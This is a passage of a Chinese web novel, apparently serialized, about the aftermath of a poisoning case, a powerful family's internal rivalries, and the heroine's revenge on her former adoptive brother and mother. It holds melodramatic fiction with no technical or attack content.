事情审了一天一夜,孙昭昭的确是背后要杀余一鸣的人。 毒药是她买的,也是她偷偷在余一鸣的酒水里下的毒,之后又假货给白知芙。 但她说没人指使,她只是单纯看不惯白知芙。 她没提夏灼灼,因为把夏灼灼牵扯进来,会容易把窦斯齐也牵扯进来。 窦斯齐一旦牵扯进来,她、她爸、她妈,她全家都完了。 而只要她爸爸还在,她就有机会从监狱里出来。 整个过程,夏灼灼完美隐身。 夏灼灼当晚请司慎行吃了晚饭。 “辛苦你了,帮我逮住那几个帮孙昭昭陷害我的家伙。” “没什么。”司慎行说:“几个软骨头,我还没动手,他们就吓瘫了,什么都招了。” “……” “不过你想谢我还是可以谢的,不过我不要口头的道谢,我要实际行动。” 夏灼灼说:“我为你买了一个小礼物,一会儿你送我回家,我拿给你。” 司慎行眼睛一亮。 “你吃完了吗?我们现在就去拿?” “……”夏灼灼很无语,他们才刚开始吃好吗? 司慎行笑道:“开玩笑的,我只是很高兴,你为我买礼物。” “只是一件小礼物而已。” “那我也喜欢,你送我的,我都喜欢。” “……” 夏灼灼有点脸红。 她不太理解,司慎行是怎么把情话当成日常的话,这么自然地说出来的。 换成她,她要脸红死。 不过,她并不讨厌司慎行的厚脸皮,反而心中很欢喜。 很快吃完了晚饭,司慎行第一次迫不及待送夏灼灼回家。 夏灼灼回到家,先跟夏太太打了声招呼,便匆匆跑上楼。 夏太太已经得知余一鸣的死讯。 这事儿闹得很大,因为凶手是孙昭昭。 她很多话要问夏灼灼。 可女儿跑的那么快,她一时愣住。 “这是怎么回事?” 许姨笑道:“我刚才看到,司先生的车停在外面。” 夏太太说了句“难怪”。 也不着急叫住夏灼灼了,只在客厅安静等着。 很快夏灼灼跑下楼,手里拿了一个很大的盒子。 “妈,我出去一下,马上回来。” 夏太太微笑点头:“去吧!” 夏灼灼莫名有点脸红。 她抱着盒子,来到了司慎行面前。 “给你的。你回去试穿看看,看看合不合身。” “是衣服?” “嗯。是西装。如果不合身,你告诉我,我拿回去改。” “好。” 司慎行点头,却舍不得走了。 “我想去看看将军。” “好。” 夏灼灼点头,带司慎行进来看了将军。 夏太太把将军养的很好,才半个月时间,又大只了不少。 将军还认得司慎行,在他的脚边拱来拱去。 “你现在不怕它了吧?”司慎行问。 夏灼灼应声说:“对,将军很可爱也很聪明。江泽的事情上,它帮了我大忙。” “不怕就好。有时候对于心里的阴影,要克服,而不是逃避。逃避的话,阴影一辈子在你心里。但鼓起勇气面对,就会发现不过如此。” 夏灼灼想到了宗域。 她是不是要真的见宗域一次? 不过这个念头只闪了一下就被抛之脑后了。 两个人陪着将军玩了好一会儿。 夏太太出来看了两次。 司慎行知道自己该走了。 他牵住夏灼灼的手,在她额头上印上一个吻。 “我回去了,你也回家吧,伯母估计很多话要问你,我不占用她的时间了。” “这么大方?” “等你嫁给我,以后你的时间全是我的,不在乎这么点时间。” “……我回去了。” “好。” 司慎行送她到客气,又跟夏太太道了别,这才走了。 夏太太让夏管家送司慎行离开,自己问起了夏灼灼今天的情况。 夏灼灼事无巨细,全都掰开揉碎跟她说明白。 “我跟大哥今天过去,只是想借机敲打他们。让大家想起白家是白眼狼之后,顺便帮大哥扬名。” “只是没想到余一鸣死了。” “当时有几个人靠近我,撞了我一下,我就觉得不对劲。” “去卫生间看了,发现身上沾了药粉,我弄了一部分到手里,洒在了白知芙身上,因为我一开始以为,那是白知芙的手笔。” “之后我就把自己的手洗干净,又拜托司慎行给我找了一条一模一样的裙子换上。” “后来,我让司慎行去查那帮撞我的人的身份,他把他们抓起来问,我才知道是孙昭昭要害我。” “再之后,余一鸣死了,警察带了警犬过来……” “司慎行恰到时候把那几个人放了,让他们做出逃跑的动作。” “他们被警察抓住后,就供出了孙昭昭。” ——这也是为什么司慎行神出鬼没的。 都是帮她办事去了。 夏太太听得心惊肉跳。 听到是司慎行帮了很多忙,她眼神缓和几分。 “还好有他帮你,你谢他了没有?” 夏灼灼耸耸肩:“用不着谢他,这都怪他。” “为什么?” “孙昭昭喜欢他,而我帮他挡住了孙昭昭这朵烂桃花,所以孙昭昭才记恨上我。没有他,我不会跟孙昭昭成为敌人,所以用不着谢他。” 话是这么说,可西装还是送了。 “对了,妈,大哥去京都上任了,你得给他挑些衣服和生活用品寄过去。” 夏太太道:“放心,下午就已经寄过去了,你大哥出发之后就给我打了电话。” 她眼神明亮地说:“你大哥没辜负你的医术,他会闯出一片名堂来的。” 夏灼灼“嗯”了声。 夏太太又说:“今天之后,白家的口碑算是彻底没了,他们真是活该!” 夏灼灼说:“这就是天道有轮回。” 母女俩聊了很久,才各自回房睡觉。 …… 几天之后,孙峥跃很努力地为女儿奔波,可这件事是刑事案件,且孙昭昭自己对此供认不讳——或是证据摆在面前,她辩解不了,只能坦白从宽了。 因而孙峥跃的权力再大,他也束手无策。 他只能去求助窦部长。 窦部长那边,倒是没对他发火,因为他已经知道,这是窦斯齐的手笔了。 只是他没挑破,怕孙峥跃为了女儿,把窦斯齐也咬出来。 所以没发火,反而安慰他,却没出手帮忙,只是说:“最近风声紧,我也帮不上忙。等风头过去,咱们的大事成了,就放你女儿出来。” 这话虽然是敷衍,但在孙峥跃耳朵里成了救命稻草。 他只等着窦部长坐上大位,才能救女儿。 但还没等到这一天,上面的调令下来了。 他被迁走去了云城。 官职一下子下降了好几级。 他敢怒不敢言,只能配合调令,灰溜溜走了。 沪市的位置一下空缺下来,孙峥跃的公务,暂时由白季勇和冯昭阳接管。 这对党帅来说是大喜事。 因为冯昭阳已经是他的人了,夏灼灼为他拉拢了冯昭阳,此时窦家那边还不知道。 当然,窦家也不是没有怀疑。 但冯昭阳这个人,出了名的中立派,也是胆小鬼,窦家自认冯昭阳不敢站队,所以才疏忽了。 党帅亲自给夏灼灼打来电话道谢。 夏灼灼一一回应,不卑不亢。 党帅说:“很沉稳,跟你爸年轻时候一个样。” 夏灼灼愣住。 “我爸年轻时候跟我性格很像?” 不可能吧! 第225章 偏心 只听党帅吐槽她爸。 “是啊!别看他现在一副怂样,其实鬼精鬼精的,他只是习惯性装傻。” “以前我们是老战友了,他跟我同年入伍的。” “当时他就是那副傻傻的样子,搞的我们都以为他智商有问题,连班长都让我们多照顾他,所以很多事情我们都主动帮他做。” “跟他熟了之后才知道,他是装的!他的智商没有问题!他把我们所有人都骗了。” “不过,他这样装傻也帮了我很大的忙。” “窦家也以为他是个傻子,只是背靠我才有了今天,其实不然。” “他进去,也是他故意设圈套让窦家钻,窦家到现在还以为他是被他们害进去的,其实是你爸的主意。” 夏灼灼完全震惊到了。 她对他爸又有了新的认识。 她不知道该接什么。 总不能跟着党帅一起说她爸吧。 不过,如果党帅不说,夏灼灼还真要被夏云海憨憨的样子骗了。 是她看走眼了! 仔细想想也是,如果她爸真是个憨憨,党帅又怎么会这么看重他呢? 也怪不得窦家现在完全不把夏家当回事,他们只当夏家人都是蠢人。 她爸那个憨憨样,真的很容易让人放松警惕。 夏灼灼把这件事跟司慎行说了。 司慎行却没有太多的意外。 夏灼灼看他一眼:“你知道我爸是什么样的人?” “不知道,但我猜到了。” “……”得,只有她一个人被骗了。 夏灼灼结束跟司慎行的通话,跟许姨一起去看了他儿子。 从司珏羽那件事结束之后,夏灼灼每隔一周都会去给她儿子施针,期间一直让他服用中药。 一开始,许姨的儿子的眼睛什么都看不见,后来隐约能感觉到光。 到现在,已经能看出人形了,虽然还不太清楚,但已经大有进步。 夏灼灼说:“再有二十天左右后,他的眼睛就能好。” 许姨感激涕零。 而事实果然如夏灼灼说的那样,二十天之后,许姨儿子的眼睛已经能看清楚,跟正常人无异了。 只是如果长时间用眼,眼睛会发酸。 夏灼灼给他检查完,说:“这是正常现象,出去多看看山水,少看手机和书,慢慢就会恢复。” “那还要吃药吗?”许姨问。 夏灼灼说:“三个疗程已经吃完,不用再吃药了。” 许姨就知道,该是她带儿子离开的时候了。 她不用夏灼灼提醒,第二天就主动找到夏太太,要请假一段时间。 “我儿子的眼睛好了,他说什么,要出去好好看看世界。我放心不下,想陪着一起去。” 夏太太舍不得许姨,但同为人母,很理解她,放她走了,临走的时候,给了许姨一张卡。 “带上卡,出去好好玩。” 许姨不肯要,夏太太强塞给她。 许姨当天就收拾东西离开了。 是夏管家送她车站的。 “你听七小姐的吩咐,让你们回来再回来。” 许姨狠狠吃了一惊。 “你知道?” 夏管家道:“七小姐昨天告诉我的。你真是……糊涂了。” “我是有点老糊涂了……” “去吧,每天记得给我打个电话报平安,我在这里等你们回来。” “好。” 就这样,许姨走了。 夏太太的心情低落了很久,直到夏灼灼把秋雨领进门。 “妈,这是秋雨,你见过的,她过来接替许姨的工作。” 夏太太明显不信。 “别开妈的玩笑,小雨是客人。” 秋雨立刻搂住夏太太的胳膊。 “阿姨,你嫌弃我?我厨艺很好的!” 夏太太只当她们开玩笑。 直到第二天醒过来,秋雨一早就做好了全家人的早饭。 夏太太默默来到夏灼灼房间问:“真让小雨接替许姨的工作?” “当然了,昨天我不是跟您说了吗?” “小雨太年轻,而且还是你朋友……” “您放心吧,小雨脾气很好,而且厨艺也很好。” “你给妈说实话。” “好吧……我想让她在您身边保护您。最近京都那边闹得越来越凶,我不能让您出现半点差池。除了您,二哥、三哥,六哥身边,我都派了人过去保护他们。” 夏太太这才明白了。 秋雨是个开心果,长得也很讨喜,夏太太于是重新高兴起来,总算没有继续沉浸在许姨离开她的难过中了。 夏家这边欢声笑语,窦家那边却是一片阴霾。 是因为孙峥跃因为孙昭昭一事被上头调离,沪城这边,窦系的人明显势微。 窦部长发了很大一通脾气。 他在电话里把窦斯齐痛骂了一顿。 “你自己犯蠢,怎么把孙家也拉下水?你看看你做的这些事!” 电话那头,窦斯齐一改往日的乖顺,冷声说:“既然您这么生气,那我现在就去自首,说我才是背后主谋,这样就能减轻孙昭昭的罪了。” “你——”窦部长气得脸色铁青:“你翅膀硬,想飞了,是不是?!” “这不是爸的意思吗?” “窦斯齐,你要气死我?!” “我这个儿子的分量,没有孙家重。您不是这个意思吗?” “你、你……”窦部长被气的拿手机的手都颤抖起来。 窦斯齐以前从不敢用这种语气跟他说话! 若不是窦斯齐远在沪城,他现在能一耳光直接扇在窦斯齐脸上。 “你立刻给我滚回沪城!” “这恐怕不行,我还有一件事要做,等做完这件事,我带斯礼一起回来。” 说完,窦斯齐直接挂断了电话。 窦部长气得要炸。 还是窦老先生劝说道:“斯齐做事从来都稳重,这次也只是阴沟里翻了船,谁没犯过错呢?” “可他不敢拉孙家下水。” “他不拉孙家下水,难道拉自己下水?他要是自己出面,倒霉的就不是孙家,而是我们自己家!你该夸他谨慎,而不是骂他。” 窦部长不可置信。 “他犯蠢,我还要夸他?” 窦老先生叹了口气,说:“辛屿,从小到大,斯齐只犯了这么一次错,你何必这么生气?如果这件事是斯齐做的,你还会生气吗?” 窦部长的全名叫窦辛屿。 他闻言愣了愣,竟是说不出话来。 因为答案他很清楚,他肯定不会生气,反而会夸小儿子,夸他终于懂得谋划了。 哪怕谋划失败了。 窦老先生看他噎住,又是叹了口气,说:“我知道,一碗水很难端平,但至少不要太过偏心了。斯齐明面上不说,心里肯定是有怨的。等他回来,你找个机会,好好跟他聊一聊。别等他把‘怨’变成了‘恨’,你才知道后悔。” “我是他老子,他还能翻天不成?” “我是你老子,你现在不是也不听我这个老子的?” “……” “就按我说的做!以后不可再偏心!否则家宅不宁,更别想外头能顺遂。斯礼担不起大任,等以后,你还是要靠斯齐给你养老的。” 窦辛屿面上答应了,心里却不准备按照他爸说的做。 在他心里,始终只有小儿子才是第一位。 倒不是窦斯齐做的不好,只是因为,他并不喜欢自己的第一任太太。 他第一任太太,是个很有心计的女人。 他们跟第一任太太是联姻,互相并没有太多的感情。 窦辛屿年轻的时候跟窦斯礼一个样,都很喜欢跟女人厮混。 他娶了第一任太太之后,这个毛病没改,但他不觉得有什么问题。 谁家太太不是对自己丈夫外面的事情睁一只眼闭一只眼? 偏偏那位太太不是。 那年他外头一个女人有了身孕,查出来是个女儿。 他很喜欢女儿,准备让那个女人生下来之后,领回家里来养。 却没想到,第一任太太直接瞒着他,拉着那个女人去医院把孩子流掉了。 从此夫妻就此离心。 再后来,老天有眼,第一任太太得了病,是癌,不到半年时间就撒手人寰。 不到一年时间,他就娶了第二任太太。 第二任太太是他自己中意的,很快为他生下了窦斯礼。 第二任太太很贴心,不像第一任,总是管着他。 不过一开始的时候,两个儿子他也是一碗水端平的,直到,窦斯齐越长大,脸长得越像他第一任太太。 他看了就不喜欢。 这种不喜欢,持续至今。 不过仔细想想,自己的确因为第一任太太,过于迁怒长子了。 等他回来,还是得做一下表面功夫,免得他真生出了异心。 电话另一头,窦斯齐的脸色也无比难看。 不是因为他父亲的偏心,而是因为他自己。 他在生自己的气。 他自认是个忍耐力很强的人,这么多年被亲爹冷落,他都能忍住,可偏偏这次…… 不知道怎么回事,他一点就炸。 可能是计划失败干扰了他原本平静的心绪。 也可能是长久积压的情绪,在听到窦辛屿觉得他不如孙家重要的时候,终于忍不住爆发出来。 他点了支烟,烟雾弥漫了半张脸。 最后一个对付夏灼灼的计划已经初具雏形,只等日子到来了。 他会把窦斯礼也算计进去。 到那一天,窦部长再偏心,也不可能把他也杀了。 他只有这两个儿子。 另一个死了,就只能指望他了。 窦斯齐眼神阴冷。 偏有人在这时候不敲门就闯进来。 第226章 讨好 “哥!我有事找你!” “二少爷,您不能进去。” 下一秒,窦斯礼直接推开了房门。 门口两个警卫员连忙道歉:“对不起,大少爷,我们没能拦住二少爷……” 窦斯齐已经做好了表情管理,对那两个警卫员挥挥手,示意他们出去。 而后才对上窦斯礼带着怒气的双眸。 “是谁惹了我二弟不高兴的?你说,我帮你教训他。” 伸手不打笑脸人,窦斯礼压下了心中的不满,走上前,开门见山地说明来意。 “哥,你之前跟我说过的,要把医院门口碰到的那个女人送给我。现在都过了多久了?快一个月了吧?我连她的人影都没见着。你是忘了这件事了吗?如果你忘了,我自己去找她,反正上次我已经跟她交换联系方式了。” 提到“上次”,窦斯齐的脸色不自觉沉了下。 那天他是另有安排的。 他想等夏灼灼进更衣室的时候,趁机把人抓走,顺便嫁祸到窦斯礼身上。 没想到夏灼灼是去买男装,根本没进试衣间。 他当时打算作罢,直接离开。 谁曾想,他这个蠢猪一样的弟弟,自己去闹了一出英雄救美。 这么拙劣的把戏,夏灼灼但凡深查下去,或是叫了司慎行来了,那么立刻就会查到他们兄弟俩头上。 他因此在商场门口大骂了窦斯礼一顿。 只是后来他情绪稳定下来,又跟窦斯礼道歉,并且保证会把夏灼灼送到他床上。 结果后来又出了白家订婚宴的事情,一拖,就拖到了现在。 窦斯齐再次压下怒火,人冷静下来之后,感官就变得敏锐起来了。 他闻到了窦斯礼身上的酒味。 “喝酒了?” “随便喝了点……” “跟谁喝的?” 窦斯礼莫名有点心虚,气焰也没刚才那么嚣张了。 “就、就以前在沪城认识的几个朋友。” “不要跟乱七八糟的人来往,你刚出狱,交点正常朋友。” 窦斯礼的怒火一下子蹿上来。 “怎么?大哥的朋友就是正常朋友,我的朋友就都不是正常人了?” “我不是这个意思……” “你不用跟我扯那么多,只需要回答我,那个女人那件事,你到底要不要帮我?如果不帮,我自己来。” 窦斯齐已经冷静下来,因此也不跟窦斯礼生气。 他语气平静地说:“你自己来吧。” 窦斯礼眉头一皱,就听窦斯齐说:“你自己去,把她绑到你床上。不过别怪我没提醒你,那个女人身份不一般。” 窦斯礼嗤笑。 “身份再不一般,能有咱们窦家不一般?” 窦斯齐一句话让窦斯礼僵住。 “她是司慎行的未婚妻。” “……” 窦斯礼大骇,舌头都不灵活了。 “真、真的假的?” “我什么时候骗过你?” “……” 窦斯礼不说话了,只是脸色一阵青一阵白。 他今天喝了点小酒,是跟一个刚出狱的狱友。 那个狱友在包厢里帮他点了几个陪酒的,他往常很好这一口,今天却索然无味。 原因无他,这些女人,加起来也不如夏灼灼一个漂亮。 所以他喝到一半就走了,回来找他哥要夏灼灼。 却没想到,夏灼灼竟然是司慎行的未婚妻? 那身份的确不一般。 他虽然不管事,但是很清楚,就连他爸多多少少都要看司慎行一点面子,如果惹恼了司慎行,连他爸都保不住他。 可是就这么放弃,着实难受。 原本只是一个女人而已,再漂亮,如果他得到了,就并不觉得有什么了不起的了。 可发现这个女人自己根本不可能得到之后,这个女人就成了执念了。 “那我……没机会了?”他还是忍不住多问了一句。 他对他这个大哥,还是有一点崇拜在身上的。 只因为每次惹事,他大哥都能帮他救场。 当然,他没深想,为什么他每次惹事,窦部长和窦老爷子都能立刻知道。 他的脑子就不擅长于思考这些,只擅长吃喝玩乐。 只听窦斯齐说:“当然有机会。” 窦斯礼心里没抱什么希望,听到这话,很意外地愣了一下。 “大哥,你真有办法?” “你想要的东西,我什么时候没帮你弄到过?一个女人而已……” “可你说她是司慎行的女人。” “的确,所以需要费点时间钻营,而不是直接绑了她。你要是相信我,这件事我帮你谋划,要是不相信,你就自己想办法。” “我当然信你!” “那你就不能像今天这样急躁。” “我错了,大哥。”窦斯礼认错很快,因为他知道,这么做有利于他。 窦斯齐点头。 “那你回去好好休息,醒醒酒,这阵子别乱跑,我随时要找你。” “好嘞!” 窦斯礼高高兴兴地走了。 窦斯齐望着窦斯礼兴奋的背影,眼底尽是冷嘲。 蠢货。 不过,这蠢货是他自己“培养”的。 小的时候,窦斯礼还是挺机灵的,甚至考试还经常拿第一。 是有个人,告诉他要怎么“培养”弟弟。 那个人,就是大他三岁的季远。 季远就是这么把季恒养废的。 季远的办法很管用,所以他也成功了。 而且青出于蓝。 窦斯礼比季恒更纨绔,更荒唐。 窦斯齐又点了一支烟,静静地笑了。 这一次,他要夏灼灼跟窦斯礼一起死。 烟雾弥漫,往上升腾,像是一条毒蛇在蜿蜒前行。 …… 夏灼灼在暗部狠狠打了个喷嚏。 “怎么了?是感冒了吗?”旁边的金虎问她。 夏灼灼摇头:“没有,就是吸进了一点灰尘。” 暗部的地下基地已经做好了,今天她是来视察的。 “做的不错,明后天好好打扫一下卫生,再放几台去甲醛的机器,再过几个月就能住下来了。” 人都在上面,虽然有工厂做掩护,但总归不太安全。 谷仔也很高兴地说:“这儿跟咱们在京都以前的基地一模一样,我真想快点住下来。” “不着急。”夏灼灼说:“先晾一晾,等甲醛检测通过了,再住下来。” 金虎说:“我用的都是好材料,基本没有什么甲醛,最多一个月就能住人了。” “好,那一个月后,我们办乔迁宴,大家都好好聚一聚。”夏灼灼说。 谷仔欢呼起来。 夏灼灼无奈摇头。 她跟金虎两个人一边逛,一边说话。 后来调查古武堂的事情,她交给了金虎来办。 金虎已经查到了一点。 “那家酒店的确是他们的据点,但他们只有在每逢每个月的一号的时候会在这里碰面,其他时间,都是分散的。” 夏灼灼了然。 “怪不得我当时派去查的人,没在酒店查出什么不对劲,原来是没到日期。不过按你这么说,只要一号去抓人,就能把人一窝端?” “没错!” 夏灼灼有些迫不及待了。 可惜,现在是十月九号,还有二十几天才能到一号。 “不着急。”金虎劝她说:“我们正好可以用这段时间好好准备,到时候就给他们来个瓮中捉鳖,一网打尽。” 夏灼灼点头。 “放心,我不会急。一步步来。” 金虎应声。 谷仔这时候过来了。 “老大,要一起吃点夜宵吗?” 夏灼灼说可以。 结果谷仔拿过来两杯泡面。 “这是红烧牛肉面,这是老坛酸菜面,您要哪个口味?” 夏灼灼问:“你叫我吃夜宵,就吃这个?” “是啊。”谷仔挠挠头,说:“秋雨不在,没个烧饭的。” 夏灼灼听懂了,笑道:“你要是想小雨,随时来我家看她。你可以说是我的朋友。” “谢谢老大!” 他道了谢,很快送上来一盘日式烧鸟。 夏灼灼:“……” 她一脸无语,就知道谷仔是为了秋雨! “再敢给我装可怜,你等着瞧!” 谷仔连忙做了个“拜佛”的手势。 “我错了,老大……” 夏灼灼当然没有真的生气,插科打诨几句,她正色道:“你跟小雨,现在属于什么情况?” 谷仔看了眼金虎。 金虎立刻说自己去看看下水管有没有问题,退了出去。 谷仔这才开口:“我们在一起了。” 夏灼灼眼皮一跳:“这么快?” 谷仔点头,说:“那天跟您聊完之后,我就想好了,先试探她的意思,如果她对我没意思,我从此跟她只是朋友,不会让她尴尬。结果我还没试探,小雨就先……跟我表白了。” 夏灼灼既觉得意料之中,又觉得很正常。 “小雨是个很洒脱的女孩子,敢爱敢恨,你不能辜负她。如果你哪天变心了,我会替她先废了你。” 变心,在夏灼灼这里很严重。 谷仔明白。 他郑重表示,自己这辈子,只会有她这一个女人。 “只不过……”谷仔说:“她家里未必能接受我。” 夏灼灼道:“我们不会一直活在地下的,很快,我们就能见到光明。说不定这地下一层都用不上了。” 又说:“小雨跟她爸妈关系一般,跟她爷爷更亲。你得好好想想,到时候该怎么讨好他老人家。” 谷仔听了这话,搓搓手,一副欲言又止的样子。 夏灼灼看他一眼,问:“你已经想到怎么讨好秋老了?” “我有个蠢主意,不知道行不行……” “你说。” 谷仔压低声音把自己的想法说了一遍。 夏灼灼听完,狠狠吃了一惊。 “你、你认真的?” 第227章 杀人诛心 谷仔严肃点头。 “我认真的。所以,老大,请你帮我这一次!” 夏灼灼上上下下仔细看了眼谷仔,确认他不是在开玩笑后,叹了口气,道:“从今天开始,每天下午我会过来两个小时教你厨艺。” “好。” 夏灼灼没多久离开了。 回去后,看到迎上来的秋雨,夏灼灼故意板起脸问:“你有没有什么秘密瞒着我?” 秋雨知道她是从暗部回来的,不由得红了脸。 “我正准备告诉你呢……” 夏灼灼笑起来。 “这么大的喜事,你应该早点告诉我。” “我就是不好意思跟你说……” “这有什么不好意思的?男大当婚女大当嫁嘛!” 秋雨的脸更红了。 夏灼灼张了张嘴,透露了一点消息给她。 “这个月二十号,谷仔有一个大惊喜给你。” “真的?是什么惊喜?” “到时候你就知道了,在这之前,你就当不知道。” “好!” 这之后,夏灼灼每天腾出两个小时,教谷仔厨艺。 与此同时,孙昭昭的一审判决下来了。 死刑。 孙昭昭这边不服,提出上诉。 因孙昭昭是孙峥跃的女儿,这件事还上了好几次热搜,闹得沸沸扬扬。 舆论对孙家很不友好。 孙峥跃为这事,忙前忙后,几乎跑断腿。 夏灼灼和司慎行商量了一下,悄悄去见了孙峥跃。 而后,他们又去了趟死者余一鸣家。 这些事都是暗中进行的,窦家并不知道。 而这期间,白知芙过得也不如意。 她被扣上了“克夫”的帽子,没有一个高门愿意跟她往来。 白季勇也心力交瘁。 可夏怀征却过得很随顺,凭着自己高超的黑客技术,在安全局站稳了脚跟。 得知这一消息的白知芙更是后悔不迭。 如果当初,她没有悔婚,那现在她过的就是完全不同的另一种生活了。 可后悔已经晚了,她几次联系夏怀征联系不上,才终于认清现实:夏怀征早已经放下她了。 男人绝情起来,比女人要绝情的多。 说不爱,他们就是真的不爱了。 连一丝怜悯都不会给你。 白知芙很快患上了抑郁症,每晚都要靠吃安眠药入睡。 …… 这一天,夏灼灼难得有空闲,按照之前的约定,跟杜馨月一起,去精神病院看了江泽。 江泽住的是三人病房。 同病房一个是精神分裂,一个是躁郁症。 江泽没有精神病,但他觉得,自己可能很快就要真的得精神病了。 得知有人来看他,江泽分外激动。 倒不是妄想看他的人能把他接出去,而是,他急于想见一个正常人。 跟正常人说话,他才能正常一点。 只是在看到会客室里的人是杜馨月和夏灼灼后,江泽的兴奋像是被一盆冷水浇灭了。 “你居然没死?”他冷冷开口,表情无比失落。 杜馨月心口一痛。 哪怕她现在已经不喜欢江泽了,甚至很厌恶他,听到这话,心情仍然受到了影响。 正不知道该说些什么反击,旁边的夏灼灼率先开口:“她要是死了,你以为你还能好好活着?她的命,比你贵。” 杜馨月也不知道夏灼灼这话,哪个字刺激到了江泽。 他突然表情狰狞起来,咆哮道:“贱人!你们两个都是贱人!你们该死!你们应该不得好死,都下地狱去!” 精神病院的护工摁住江泽,把他绑在了椅子上。 好一会儿,江泽才稍稍平静下来。 “大家都是人,人人平等!” “她不过就是比我会投胎罢了!” “如果她是乡下人生的,她不会比我混得好!” 听到这些话,杜馨月明白了,是夏灼灼说的那句“她的命比你贵”刺激到了江泽。 江泽最在意自己的出身。 哪怕到了此时此刻,他脑子里装的,也只有这点东西。 杜馨月突然觉得索然无趣了。 她来看望江泽,其实只是想问一句,为什么他在那个时候,第一想的,是杀了她。 可现在,她对这个答案不感兴趣了。 她不想再看到这个人,哪怕一秒了。 “我们走吧。”杜馨月说。 夏灼灼没问她为什么刚来,一句话没说就要走。 她猜到了。 所以直接点头。 “好,我们走。” 两个人走到门口的时候,江泽突然喊了夏灼灼的名字。 “我有话要跟你说!” 夏灼灼脚步微顿,还是转回了身。 她让杜馨月先出去,自己随后出来。 杜馨月点头离开了。 江泽片刻后开口:“夏灼灼,妹妹,我从没招惹过你……除了那次在商场碰面,我引你去见虎头帮的人……但你当时没受半点伤,反而是我被虎头帮的人打了一顿。” 夏灼灼面无表情看着他。 “你到底想说什么?” 江泽的脸上带了几分恳求。 “我从没伤害过你,当初也是我妈把你买过来的,后来更是我妈把你卖给人贩子的……你能不能看在这份上,叫他们放我出去?” 他说着,又发誓说:“我出去之后,再也不会出现在你们眼前,我会离开沪城,走得远远的,再也不回来!” 夏灼灼还是像刚才那样,面无表情看着他。 江泽眼底的恳求慢慢淡了。 他不理解。 “买你,卖你的人,都是我妈,你弄死她就好了,为什么一定要逼疯我?我从没伤害过你!” 夏灼灼终于开口了。 说出来的话,却让江泽丈二和尚摸不着头脑。 她问他:“你还记得将军吗?” “什么将军?”江泽一头雾水。 夏灼灼进一步提醒他:“一条叫将军的大黑狗。你养的。” 江泽还是很迷茫。 “我养过很多狗,我不记得了。那条狗怎么了?” 夏灼灼突然笑了。 “你看,加害者根本不记得怎么伤害过别人,而受害者却耿耿于怀那么多年。” “什么意思?” “江泽,你一辈子都会困在这里,哪怕你变成一个真正的疯子,你也出不去。除非你死了。” 说完,她扭头走了。 任凭后面的江泽怎么呼喊,她都没有回一次头。 而心里对于被狗咬的阴影,从此彻底没了。 离开一层后,夏灼灼找到了杜馨月。 杜馨月看起来心情非常差。 她想了想,拉着她去找了院长。 她给了这里的院长一笔钱。 “我哥哥的‘病情’好像越来越严重了,希望您能给他多开点药。” 院长秒懂。 “是,夏小姐。如果您同意,我们还可以上电疗。” “可以。”夏灼灼同意了。 杜馨月的心情这才好起来。 她差点因为江泽丢掉自己的一条命。 看到江泽还那么好好地站在她的面前,她实在是不爽。 直到此刻,她的心情才好起来。 因为她知道,江泽会慢慢地、清醒着变成一个疯子。 心情转好,杜馨月脸上才又有了点笑容。 “还是你聪明,我真不知道怎么对付他这种人。” 夏灼灼说:“对付他这种人,就要考虑他最想要得到什么。他此时此刻最想要得到自由,最想成为一个正常人,但我们慢慢让他变成一个疯子,他就会崩溃。” 杜馨月点头。 “怪不得我爷爷说,你很聪明,让我多跟你学学。” 夏灼灼笑了下,继而正色问:“你跟你爷爷说了吗?杜浩然的死……” “说了。” “他什么反应?” “他没有什么反应,只是让我开始接触公司的业务。还有就是让我多跟你学学。” 杜老爷子没生气。 夏灼灼松了口气。 杜馨月拍拍她的肩膀说:“放心,我都说清楚了,是杜浩然想杀你在先。我爷爷不是不讲道理的人,只是他看着比以前瘦了很多。” 夏灼灼沉默一阵,说:“你爷爷的身体,是我的药支撑着,但……并不能支撑太久。你得提前做好心理准备。” “不能再续命吗?” 夏灼灼说:“让他活着,倒是可以。但是,活着也分体面和不体面。用仪器维持大脑的生存,这也是一种活着。” 杜馨月听明白了。 她长长叹了口气。 两个人一起去吃了点甜点,心情才又慢慢平复。 两人分开之后,夏灼灼去见了柳月茹。 她是个很公平的人,今天既然见了江泽,当然也要去见一见柳月茹。 跟江泽不同,柳月茹形容枯槁,整个人仿佛老了十岁。 看到夏灼灼,她尖叫发疯了很久。 “我当初就该直接杀了你!这样你就不会害我们变成这样了!” 夏灼灼面无表情地说:“没错,你的确该杀了我。既然你没杀我,那我当然要报仇。” “贱人!贱人!” “你们母子俩还真是一个模子刻出来,只会用这两个字骂人。” 柳月茹倏然看向她。 “你去见了阿泽?” “没错。” “阿泽……阿泽他怎么样了?!” 夏灼灼笑了笑,说:“他跟精神病院的病友相处的很好,听说昨天一个病友还在他的床上撒尿了。院长说,那个病人是个精神分裂,他以为自己是一条狗,撒尿是为了表示友好。” “你、你……”柳月茹气得脸色青紫。 夏灼灼不给她说话的机会,继续说道:“对了,我见了他之后,他问候你了。” 柳月茹青紫的脸色稍好一些,眼睛也变得有些明亮。 “他说什么了?” 夏灼灼依旧笑意盈盈的。 “他说,买我、卖我的人是你,让我杀了你,放过他。” 第228章 柳月茹** **诛心。 柳月茹的身体明显晃了一下。 “不可能……这不可能……我是他亲妈!” 夏灼灼依旧微笑。 “是吗?如果他心里有半点母子情,当初,怎么会毫不犹豫打电话给你,让你去自首呢?你这个儿子,真是白养了。” “闭嘴!你给我闭嘴!” 隔着厚厚的玻璃,柳月茹用力锤着。 狱警看向夏灼灼,询问她是否要按住她。 夏灼灼摇头。 柳月茹好一会儿才停止“发疯”。 她突然开始求夏灼灼。 “你怎么刺激我都可以,求你放过我儿子。我养你这么多年,没有功劳也有苦劳……我虽然买了你,可是我也把你养大了不是吗?你不能这么狼心狗肺啊!” 夏灼灼看向她。 “你养我的钱,我不是百倍奉还了吗?” “你什么时候百倍奉还了?” 夏灼灼沉默两秒,问:“我给过你一张卡,你是不是从没去取过钱?” “那张卡……能有多少钱……” 夏灼灼比了个数。 柳月茹倏然瞪大眼睛。 “不可能!” 那张卡是挂在夏灼灼的名下,她当场拿出手机,登录网银查询到余额,隔着玻璃门给柳月茹看。 她过来之前,跟冯昭阳打过招呼,故而可以破格带手机进来。 柳月茹呆若木鸡,嘴里不停念叨着:“不可能的、不可能,你骗我,这是假的,假的!!” 后来,她竟然是直接疯了。 夏灼灼开始还以为她装的,直到第二天,得知了消息,说柳月茹撞墙**了。 夏灼灼沉默良久都没有回神。 正好她在跟司慎行吃饭。 司慎行伸手在她眼前晃了晃。 